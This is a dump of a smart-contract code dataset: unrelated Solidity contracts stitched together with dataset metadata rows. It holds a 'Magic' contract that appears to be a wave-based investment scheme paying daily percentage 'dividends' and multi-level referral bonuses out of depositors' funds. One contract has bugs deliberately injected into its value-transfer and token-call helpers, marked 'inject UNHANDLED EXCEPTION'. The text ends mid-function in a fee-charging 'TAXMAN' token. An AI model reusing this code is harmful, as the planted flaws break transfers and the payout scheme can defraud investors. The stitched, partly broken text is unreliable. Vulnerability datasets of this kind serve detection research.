function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Percent {
// Solidity automatically throws when dividing by 0
struct percent {
uint num;
uint den;
}
function mul(percent storage p, uint a) internal view returns (uint) {
if (a == 0) {
return 0;
}
return a*p.num/p.den;
}
function div(percent storage p, uint a) internal view returns (uint) {
return a/p.num*p.den;
}
function sub(percent storage p, uint a) internal view returns (uint) {
uint b = mul(p, a);
if (b >= a) return 0;
return a - b;
}
function add(percent storage p, uint a) internal view returns (uint) {
return a + mul(p, a);
}
}
contract Accessibility {
enum AccessRank { None, Payout, Paymode, Full }
mapping(address => AccessRank) internal m_admins;
modifier onlyAdmin(AccessRank r) {
require(m_admins[msg.sender] == r || m_admins[msg.sender] == AccessRank.Full,
"access denied");
_;
}
event LogProvideAccess(address indexed whom, uint when, AccessRank rank);
constructor() public {
m_admins[msg.sender] = AccessRank.Full;
emit LogProvideAccess(msg.sender, now, AccessRank.Full);
}
function provideAccess(address addr, AccessRank rank) public onlyAdmin(AccessRank.Full) {
require(rank <= AccessRank.Full, "invalid access rank");
require(m_admins[addr] != AccessRank.Full, "cannot change full access rank");
if (m_admins[addr] != rank) {
m_admins[addr] = rank;
emit LogProvideAccess(addr, now, rank);
}
}
function access(address addr) public view returns(AccessRank rank) {
rank = m_admins[addr];
}
}
contract PaymentSystem {
enum Paymode { Push, Pull }
struct PaySys {
uint latestTime;
uint latestKeyIndex;
Paymode mode;
}
PaySys internal m_paysys;
modifier atPaymode(Paymode mode) {
require(m_paysys.mode == mode, "pay mode does not the same");
_;
}
event LogPaymodeChanged(uint when, Paymode indexed mode);
function paymode() public view returns(Paymode mode) {
mode = m_paysys.mode;
}
function changePaymode(Paymode mode) internal {
require(mode <= Paymode.Pull, "invalid pay mode");
if (mode == m_paysys.mode) return;
if (mode == Paymode.Pull) require(m_paysys.latestTime != 0, "cannot set pull pay mode if latest time is 0");
if (mode == Paymode.Push) m_paysys.latestTime = 0;
m_paysys.mode = mode;
emit LogPaymodeChanged(now, m_paysys.mode);
}
}
library Zero {
function requireNotZero(uint a) internal pure {
require(a != 0, "require not zero");
}
function requireNotZero(address addr) internal pure {
require(addr != address(0), "require not zero address");
}
function notZero(address addr) internal pure returns(bool) {
return !(addr == address(0));
}
function isZero(address addr) internal pure returns(bool) {
return addr == address(0);
}
}
library ToAddress {
function toAddr(uint source) internal pure returns(address) {
return address(source);
}
function toAddr(bytes source) internal pure returns(address addr) {
assembly { addr := mload(add(source,0x14)) }
return addr;
}
}
contract Magic is Accessibility, PaymentSystem {
using Percent for Percent.percent;
using SafeMath for uint;
using Zero for *;
using ToAddress for *;
// investors storage - iterable map;
InvestorsStorage private m_investors;
mapping(address => bool) private m_referrals;
bool private m_nextWave;
// automatically generates getters
address public adminAddr;
address public payerAddr;
uint public waveStartup;
uint public investmentsNum;
uint public constant minInvesment = 30 finney; // 0.03 eth
uint public constant maxBalance = 333e5 ether; // 33,300,000 eth
uint public constant pauseOnNextWave = 168 hours;
//float percents
Percent.percent private m_dividendsPercent30 = Percent.percent(30, 1000); // 30/1000*100% = 3%
Percent.percent private m_dividendsPercent35 = Percent.percent(35, 1000); // 35/1000*100% = 3.5%
Percent.percent private m_dividendsPercent40 = Percent.percent(40, 1000); // 40/1000*100% = 4%
Percent.percent private m_dividendsPercent45 = Percent.percent(45, 1000); // 45/1000*100% = 4.5%
Percent.percent private m_dividendsPercent50 = Percent.percent(50, 1000); // 50/1000*100% = 5%
Percent.percent private m_dividendsPercent55 = Percent.percent(55, 1000); // 55/1000*100% = 5.5%
Percent.percent private m_dividendsPercent60 = Percent.percent(60, 1000); // 60/1000*100% = 6%
Percent.percent private m_adminPercent = Percent.percent(15, 100); // 15/100*100% = 15%
Percent.percent private m_payerPercent = Percent.percent(5, 100); // 5/100*100% = 5%
Percent.percent private m_refLvlOnePercent = Percent.percent(3, 100); // 3/100*100% = 3%
Percent.percent private m_refLvlTwoPercent = Percent.percent(2, 100); // 2/100*100% = 2%
Percent.percent private m_refLvlThreePercent = Percent.percent(1, 100); // 1/100*100% = 1%
// more events for easy read from blockchain
event LogNewInvestor(address indexed addr, uint when, uint value);
event LogNewInvesment(address indexed addr, uint when, uint value);
event LogNewReferral(address indexed addr, uint when, uint value);
event LogPayDividends(address indexed addr, uint when, uint value);
event LogPayReferrerBonus(address indexed addr, uint when, uint value);
event LogBalanceChanged(uint when, uint balance);
event LogAdminAddrChanged(address indexed addr, uint when);
event LogPayerAddrChanged(address indexed addr, uint when);
event LogNextWave(uint when);
modifier balanceChanged {
_;
emit LogBalanceChanged(now, address(this).balance);
}
modifier notOnPause() {
require(waveStartup+pauseOnNextWave <= now, "pause on next wave not expired");
_;
}
constructor() public {
adminAddr = msg.sender;
emit LogAdminAddrChanged(msg.sender, now);
payerAddr = msg.sender;
emit LogPayerAddrChanged(msg.sender, now);
nextWave();
waveStartup = waveStartup.sub(pauseOnNextWave);
}
function() public payable {
// investor get him dividends
if (msg.value == 0) {
getMyDividends();
return;
}
// sender do invest
address a = msg.data.toAddr();
address[3] memory refs;
if (a.notZero()) {
refs[0] = a;
doInvest(refs);
} else {
doInvest(refs);
}
}
function investorsNumber() public view returns(uint) {
return m_investors.size()-1;
// -1 because see InvestorsStorage constructor where keys.length++
}
function balanceETH() public view returns(uint) {
return address(this).balance;
}
function payerPercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_payerPercent.num, m_payerPercent.den);
}
function dividendsPercent30() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_dividendsPercent30.num, m_dividendsPercent30.den);
}
function dividendsPercent35() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_dividendsPercent35.num, m_dividendsPercent35.den);
}
function dividendsPercent40() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_dividendsPercent40.num, m_dividendsPercent40.den);
}
function dividendsPercent45() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_dividendsPercent45.num, m_dividendsPercent45.den);
}
function dividendsPercent50() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_dividendsPercent50.num, m_dividendsPercent50.den);
}
function dividendsPercent55() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_dividendsPercent55.num, m_dividendsPercent55.den);
}
function dividendsPercent60() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_dividendsPercent60.num, m_dividendsPercent60.den);
}
function adminPercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_adminPercent.num, m_adminPercent.den);
}
function referrerLvlOnePercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_refLvlOnePercent.num, m_refLvlOnePercent.den);
}
function referrerLvlTwoPercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_refLvlTwoPercent.num, m_refLvlTwoPercent.den);
}
function referrerLvlThreePercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_refLvlThreePercent.num, m_refLvlThreePercent.den);
}
function investorInfo(address addr) public view returns(uint value, uint paymentTime, uint refBonus, bool isReferral) {
(value, paymentTime, refBonus) = m_investors.investorBaseInfo(addr);
isReferral = m_referrals[addr];
}
function latestPayout() public view returns(uint timestamp) {
return m_paysys.latestTime;
}
function getMyDividends() public notOnPause atPaymode(Paymode.Pull) balanceChanged {
// check investor info
InvestorsStorage.investor memory investor = getMemInvestor(msg.sender);
require(investor.keyIndex > 0, "sender is not investor");
if (investor.paymentTime < m_paysys.latestTime) {
assert(m_investors.setPaymentTime(msg.sender, m_paysys.latestTime));
investor.paymentTime = m_paysys.latestTime;
}
// calculate days after latest payment
uint256 daysAfter = now.sub(investor.paymentTime).div(24 hours);
require(daysAfter > 0, "the latest payment was earlier than 24 hours");
assert(m_investors.setPaymentTime(msg.sender, now));
uint value = 0;
if (address(this).balance < 500 ether){
value = m_dividendsPercent30.mul(investor.value) * daysAfter;
}
if (500 ether <= address(this).balance && address(this).balance < 1000 ether){
value = m_dividendsPercent35.mul(investor.value) * daysAfter;
}
if (1000 ether <= address(this).balance && address(this).balance < 2000 ether){
value = m_dividendsPercent40.mul(investor.value) * daysAfter;
}
if (2000 ether <= address(this).balance && address(this).balance < 3000 ether){
value = m_dividendsPercent45.mul(investor.value) * daysAfter;
}
if (3000 ether <= address(this).balance && address(this).balance < 4000 ether){
value = m_dividendsPercent50.mul(investor.value) * daysAfter;
}
if (4000 ether <= address(this).balance && address(this).balance < 5000 ether){
value = m_dividendsPercent55.mul(investor.value) * daysAfter;
}
if (5000 ether <= address(this).balance){
value = m_dividendsPercent60.mul(investor.value) * daysAfter;
}
// check enough eth
if (address(this).balance < value + investor.refBonus) {
nextWave();
return;
}
// send dividends and ref bonus
if (investor.refBonus > 0) {
assert(m_investors.setRefBonus(msg.sender, 0));
sendDividendsWithRefBonus(msg.sender, value, investor.refBonus);
} else {
sendDividends(msg.sender, value);
}
}
function doInvest(address[3] refs) public payable notOnPause balanceChanged {
require(msg.value >= minInvesment, "msg.value must be >= minInvesment");
require(address(this).balance <= maxBalance, "the contract eth balance limit");
uint value = msg.value;
// ref system works only once for sender-referral
if (!m_referrals[msg.sender]) {
// level 1
if (notZeroNotSender(refs[0]) && m_investors.contains(refs[0])) {
uint rewardL1 = m_refLvlOnePercent.mul(value);
assert(m_investors.addRefBonus(refs[0], rewardL1)); // referrer 1 bonus
m_referrals[msg.sender] = true;
value = m_dividendsPercent30.add(value); // referral bonus
emit LogNewReferral(msg.sender, now, value);
// level 2
if (notZeroNotSender(refs[1]) && m_investors.contains(refs[1]) && refs[0] != refs[1]) {
uint rewardL2 = m_refLvlTwoPercent.mul(value);
assert(m_investors.addRefBonus(refs[1], rewardL2)); // referrer 2 bonus
// level 3
if (notZeroNotSender(refs[2]) && m_investors.contains(refs[2]) && refs[0] != refs[2] && refs[1] != refs[2]) {
uint rewardL3 = m_refLvlThreePercent.mul(value);
assert(m_investors.addRefBonus(refs[2], rewardL3)); // referrer 3 bonus
}
}
}
}
// commission
adminAddr.transfer(m_adminPercent.mul(msg.value));
payerAddr.transfer(m_payerPercent.mul(msg.value));
// write to investors storage
if (m_investors.contains(msg.sender)) {
assert(m_investors.addValue(msg.sender, value));
} else {
assert(m_investors.insert(msg.sender, value));
emit LogNewInvestor(msg.sender, now, value);
}
if (m_paysys.mode == Paymode.Pull)
assert(m_investors.setPaymentTime(msg.sender, now));
emit LogNewInvesment(msg.sender, now, value);
investmentsNum++;
}
function payout() public notOnPause onlyAdmin(AccessRank.Payout) atPaymode(Paymode.Push) balanceChanged {
if (m_nextWave) {
nextWave();
return;
}
if (m_paysys.latestKeyIndex == m_investors.iterStart()) {
require(now>m_paysys.latestTime+12 hours, "the latest payment was earlier than 12 hours");
m_paysys.latestTime = now;
}
uint i = m_paysys.latestKeyIndex;
uint value;
uint refBonus;
uint size = m_investors.size();
address investorAddr;
// gasleft and latest key index - prevent gas block limit
for (i; i < size && gasleft() > 50000; i++) {
investorAddr = m_investors.keyFromIndex(i);
(value, refBonus) = m_investors.investorShortInfo(investorAddr);
value = m_dividendsPercent30.mul(value);
if (address(this).balance < value + refBonus) {
m_nextWave = true;
break;
}
if (refBonus > 0) {
require(m_investors.setRefBonus(investorAddr, 0), "internal error");
sendDividendsWithRefBonus(investorAddr, value, refBonus);
continue;
}
sendDividends(investorAddr, value);
}
if (i == size)
m_paysys.latestKeyIndex = m_investors.iterStart();
else
m_paysys.latestKeyIndex = i;
}
function setAdminAddr(address addr) public onlyAdmin(AccessRank.Full) {
addr.requireNotZero();
if (adminAddr != addr) {
adminAddr = addr;
emit LogAdminAddrChanged(addr, now);
}
}
function setPayerAddr(address addr) public onlyAdmin(AccessRank.Full) {
addr.requireNotZero();
if (payerAddr != addr) {
payerAddr = addr;
emit LogPayerAddrChanged(addr, now);
}
}
function setPullPaymode() public onlyAdmin(AccessRank.Paymode) atPaymode(Paymode.Push) {
changePaymode(Paymode.Pull);
}
function getMemInvestor(address addr) internal view returns(InvestorsStorage.investor) {
(uint a, uint b, uint c, uint d) = m_investors.investorFullInfo(addr);
return InvestorsStorage.investor(a, b, c, d);
}
function notZeroNotSender(address addr) internal view returns(bool) {
return addr.notZero() && addr != msg.sender;
}
function sendDividends(address addr, uint value) private {
if (addr.send(value)) emit LogPayDividends(addr, now, value);
}
function sendDividendsWithRefBonus(address addr, uint value, uint refBonus) private {
if (addr.send(value+refBonus)) {
emit LogPayDividends(addr, now, value);
emit LogPayReferrerBonus(addr, now, refBonus);
}
}
function nextWave() private {
m_investors = new InvestorsStorage();
changePaymode(Paymode.Push);
m_paysys.latestKeyIndex = m_investors.iterStart();
investmentsNum = 0;
waveStartup = now;
m_nextWave = false;
emit LogNextWave(now);
}
}
| 209,098 | 13,204 |
c51e8a0a0b1dbaad071a5431db02df3643b2ac2962e21898b3e80bfdeb99f1b0
| 31,976 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/unhandledException/0xA0d885316Be23dE8bB19E7C53F6d483279E3467D_unhandledException.sol
| 3,530 | 14,351 |
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity 0.5.16;
pragma experimental ABIEncoderV2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success,) = (false, bytes(msg.data));
recipient.call.value(amount)(""); //inject UNHANDLED EXCEPTION
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = (false, bytes(msg.data));
address(token).call(data); //inject UNHANDLED EXCEPTION
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/external/I_ExchangeWrapper.sol
interface I_ExchangeWrapper {
// ============ Public Functions ============
function exchange(address tradeOriginator,
address receiver,
address makerToken,
address takerToken,
uint256 requestedFillAmount,
bytes calldata orderData)
external
returns (uint256);
function getExchangeCost(address makerToken,
address takerToken,
uint256 desiredMakerToken,
bytes calldata orderData)
external
view
returns (uint256);
}
// File: contracts/protocol/v1/lib/P1Types.sol
library P1Types {
// ============ Structs ============
struct Index {
uint32 timestamp;
bool isPositive;
uint128 value;
}
struct Balance {
bool marginIsPositive;
bool positionIsPositive;
uint120 margin;
uint120 position;
}
struct Context {
uint256 price;
uint256 minCollateral;
Index index;
}
struct TradeResult {
uint256 marginAmount;
uint256 positionAmount;
bool isBuy; // From taker's perspective.
bytes32 traderFlags;
}
}
// File: contracts/protocol/v1/intf/I_PerpetualV1.sol
interface I_PerpetualV1 {
// ============ Structs ============
struct TradeArg {
uint256 takerIndex;
uint256 makerIndex;
address trader;
bytes data;
}
// ============ State-Changing Functions ============
function trade(address[] calldata accounts,
TradeArg[] calldata trades)
external;
function withdrawFinalSettlement()
external;
function deposit(address account,
uint256 amount)
external;
function withdraw(address account,
address destination,
uint256 amount)
external;
function setLocalOperator(address operator,
bool approved)
external;
// ============ Account Getters ============
function getAccountBalance(address account)
external
view
returns (P1Types.Balance memory);
function getAccountIndex(address account)
external
view
returns (P1Types.Index memory);
function getIsLocalOperator(address account,
address operator)
external
view
returns (bool);
// ============ Global Getters ============
function getIsGlobalOperator(address operator)
external
view
returns (bool);
function getTokenContract()
external
view
returns (address);
function getOracleContract()
external
view
returns (address);
function getFunderContract()
external
view
returns (address);
function getGlobalIndex()
external
view
returns (P1Types.Index memory);
function getMinCollateral()
external
view
returns (uint256);
function getFinalSettlementEnabled()
external
view
returns (bool);
// ============ Public Getters ============
function hasAccountPermissions(address account,
address operator)
external
view
returns (bool);
// ============ Authorized Getters ============
function getOraclePrice()
external
view
returns (uint256);
}
// File: contracts/protocol/v1/proxies/P1CurrencyConverterProxy.sol
contract P1CurrencyConverterProxy {
using SafeERC20 for IERC20;
// ============ Events ============
event LogConvertedDeposit(address indexed account,
address source,
address perpetual,
address exchangeWrapper,
address tokenFrom,
address tokenTo,
uint256 tokenFromAmount,
uint256 tokenToAmount);
event LogConvertedWithdrawal(address indexed account,
address destination,
address perpetual,
address exchangeWrapper,
address tokenFrom,
address tokenTo,
uint256 tokenFromAmount,
uint256 tokenToAmount);
// ============ State-Changing Functions ============
function approveMaximumOnPerpetual(address perpetual)
external
{
IERC20 tokenContract = IERC20(I_PerpetualV1(perpetual).getTokenContract());
// safeApprove requires unsetting the allowance first.
tokenContract.safeApprove(perpetual, 0);
// Set the allowance to the highest possible value.
tokenContract.safeApprove(perpetual, uint256(-1));
}
function deposit(address account,
address perpetual,
address exchangeWrapper,
address tokenFrom,
uint256 tokenFromAmount,
bytes calldata data)
external
returns (uint256)
{
I_PerpetualV1 perpetualContract = I_PerpetualV1(perpetual);
address tokenTo = perpetualContract.getTokenContract();
address self = address(this);
// Send fromToken to the ExchangeWrapper.
//
// TODO: Take possible ERC20 fee into account.
IERC20(tokenFrom).safeTransferFrom(msg.sender,
exchangeWrapper,
tokenFromAmount);
// Convert fromToken to toToken on the ExchangeWrapper.
I_ExchangeWrapper exchangeWrapperContract = I_ExchangeWrapper(exchangeWrapper);
uint256 tokenToAmount = exchangeWrapperContract.exchange(msg.sender,
self,
tokenTo,
tokenFrom,
tokenFromAmount,
data);
// Receive toToken from the ExchangeWrapper.
IERC20(tokenTo).safeTransferFrom(exchangeWrapper,
self,
tokenToAmount);
// Deposit toToken to the Perpetual.
perpetualContract.deposit(account,
tokenToAmount);
// Log the result.
emit LogConvertedDeposit(account,
msg.sender,
perpetual,
exchangeWrapper,
tokenFrom,
tokenTo,
tokenFromAmount,
tokenToAmount);
return tokenToAmount;
}
function withdraw(address account,
address destination,
address perpetual,
address exchangeWrapper,
address tokenTo,
uint256 tokenFromAmount,
bytes calldata data)
external
returns (uint256)
{
I_PerpetualV1 perpetualContract = I_PerpetualV1(perpetual);
address tokenFrom = perpetualContract.getTokenContract();
address self = address(this);
// Verify that the sender has permission to withdraw from the account.
require(account == msg.sender || perpetualContract.hasAccountPermissions(account, msg.sender),
"msg.sender cannot operate the account");
// Withdraw fromToken from the Perpetual.
perpetualContract.withdraw(account,
exchangeWrapper,
tokenFromAmount);
// Convert fromToken to toToken on the ExchangeWrapper.
I_ExchangeWrapper exchangeWrapperContract = I_ExchangeWrapper(exchangeWrapper);
uint256 tokenToAmount = exchangeWrapperContract.exchange(msg.sender,
self,
tokenTo,
tokenFrom,
tokenFromAmount,
data);
// Transfer toToken from the ExchangeWrapper to the destination address.
IERC20(tokenTo).safeTransferFrom(exchangeWrapper,
destination,
tokenToAmount);
// Log the result.
emit LogConvertedWithdrawal(account,
destination,
perpetual,
exchangeWrapper,
tokenFrom,
tokenTo,
tokenFromAmount,
tokenToAmount);
return tokenToAmount;
}
}
| 278,679 | 13,205 |
05b60f76f2fba94dfaea25b249f596ba433224b55246102b1750de658c8f4931
| 14,857 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/99/9968b7931534865e95f887221e5a82da06476263_TAXMAN.sol
| 3,654 | 13,910 |
pragma solidity ^0.7.4;
// SPDX-License-Identifier: Unlicensed
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) { return 0; }
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WAVAX() external pure returns (address);
function getAmountsIn(uint256 amountOut,
address[] memory path) external view returns (uint256[] memory amounts);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityAVAX(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountAVAXMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountAVAX, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactAVAXForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForAVAXSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
abstract contract Auth {
address internal owner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
owner = _owner;
authorizations[_owner] = true;
}
modifier onlyOwner() {
require(isOwner(msg.sender), "!OWNER"); _;
}
modifier authorized() {
require(isAuthorized(msg.sender), "!AUTHORIZED"); _;
}
function authorize(address adr) public onlyOwner {
authorizations[adr] = true;
}
function unauthorize(address adr) public onlyOwner {
authorizations[adr] = false;
}
function isOwner(address account) public view returns (bool) {
return account == owner;
}
function isAuthorized(address adr) public view returns (bool) {
return authorizations[adr];
}
function transferOwnership(address payable adr) public onlyOwner {
owner = adr;
authorizations[adr] = true;
emit OwnershipTransferred(adr);
}
event OwnershipTransferred(address owner);
}
abstract contract BEP20Interface {
function balanceOf(address whom) view public virtual returns (uint);
}
contract TAXMAN is IBEP20, Auth {
using SafeMath for uint256;
string constant _name = "TAXMAN";
string constant _symbol = "TAX";
uint8 constant _decimals = 18;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
address routerAddress = 0x60aE616a2155Ee3d9A68541Ba4544862310933d4;
uint256 _totalSupply = 10000 * (10 ** _decimals);
uint256 public _record = 0;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) public isFeeExempt;
mapping (address => bool) public isTxLimitExempt;
mapping (address => bool) public hasSold;
uint256 public liquidityFee = 3;
uint256 public marketingFee = 8;
uint256 public WorldLeaderFee = 5;
uint256 public totalFee = 0;
uint256 public totalFeeIfSelling = 0;
address public autoLiquidityReceiver;
address public marketingWallet;
address public WorldLeader;
IDEXRouter public router;
address public pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public swapAndLiquifyByLimitOnly = false;
uint256 public swapThreshold = _totalSupply * 5 / 2000;
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () Auth(msg.sender) {
router = IDEXRouter(routerAddress);
pair = IDEXFactory(router.factory()).createPair(router.WAVAX(), address(this));
_allowances[address(this)][address(router)] = uint256(-1);
isFeeExempt[DEAD] = true;
isTxLimitExempt[DEAD] = true;
isFeeExempt[msg.sender] = true;
isFeeExempt[address(this)] = true;
isTxLimitExempt[msg.sender] = true;
isTxLimitExempt[pair] = true;
autoLiquidityReceiver = msg.sender; //LP receiver
marketingWallet = msg.sender; //marketing wallet
WorldLeader = msg.sender; //tax collector wallet
totalFee = liquidityFee.add(marketingFee).add(WorldLeaderFee);
totalFeeIfSelling = totalFee;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
receive() external payable { }
function name() external pure override returns (string memory) { return _name; }
function symbol() external pure override returns (string memory) { return _symbol; }
function decimals() external pure override returns (uint8) { return _decimals; }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function getOwner() external view override returns (address) { return owner; }
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
}
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, uint256(-1));
}
function setIsFeeExempt(address holder, bool exempt) external authorized {
isFeeExempt[holder] = exempt;
}
function setIsTxLimitExempt(address holder, bool exempt) external authorized {
isTxLimitExempt[holder] = exempt;
}
function setFeeReceivers(address newLiquidityReceiver, address newMarketingWallet) external authorized {
autoLiquidityReceiver = newLiquidityReceiver;
marketingWallet = newMarketingWallet;
}
function checkTxLimit(address sender, address recipient, uint256 amount) internal {
if (sender != owner
&& recipient != owner
&& !isTxLimitExempt[recipient]
&& recipient != ZERO
&& recipient != DEAD
&& recipient != pair
&& recipient != address(this)) {
address[] memory path = new address[](2);
path[0] = router.WAVAX();
path[1] = address(this);
uint256 usedAvax = router.getAmountsIn(amount, path)[0];
